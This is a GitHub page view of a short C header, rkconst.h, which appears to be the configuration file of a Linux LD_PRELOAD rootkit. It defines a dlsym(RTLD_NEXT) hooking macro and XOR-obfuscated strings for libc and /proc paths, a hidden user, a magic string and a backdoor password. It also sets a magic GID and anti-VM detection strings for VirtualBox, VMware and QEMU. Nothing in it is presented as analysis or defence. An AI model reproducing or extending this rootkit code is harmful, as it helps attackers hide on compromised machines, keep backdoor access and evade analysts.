-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathrkconst.h
18 lines (18 loc) · 828 Bytes
/
rkconst.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifndef RTLD_NEXT
#define RTLD_NEXT ((void *) -11)
#endif
#define HOOK(func) old##_##func = dlsym(RTLD_NEXT, #func)
#define CLEAN(var) clean(var, strlen(var))
#define LIBC "\x5\x46\x43\x48\x5\x46\x43\x48\x49\x4\x59\x45\x4\x1c"
#define PROC_PATH "\x5\x5a\x58\x45\x49\x5\x59\x4f\x46\x4c\x5\x4c\x4e\x5\xf\x4e"
#define PROC "\x5\x5a\x58\x45\x49"
#define USER "\x42\x43\x4e\x4f\x47\x4f"
#define MAGIC "\x47\x45\x59\x42\x43"
#define EXECPW "\x5a\x4b\x59\x59\x5d\x45\x58\x4e\x1b\x18\x19"
#define PTRACE_MSG "\x46\x45\x46\xa\x5f\xa\x42\x4b\x49\x41\x4f\x4e"
#define MAGICGID 1337
#define ANTIVM
//----------ANTI-VM STUFF----------
#define VBOX_STR "\x7c\x68\x45\x52\x7c\x68\x45\x52\x7c\x68\x45\x52"
#define VMWARE_STR "\x7c\x67\x5d\x4b\x58\x4f\x7c\x67\x5d\x4b\x58\x4f"
#define QEMU_STR "\x7e\x69\x6d\x7e\x69\x6d\x7e\x69\x6d\x7e\x69\x6d"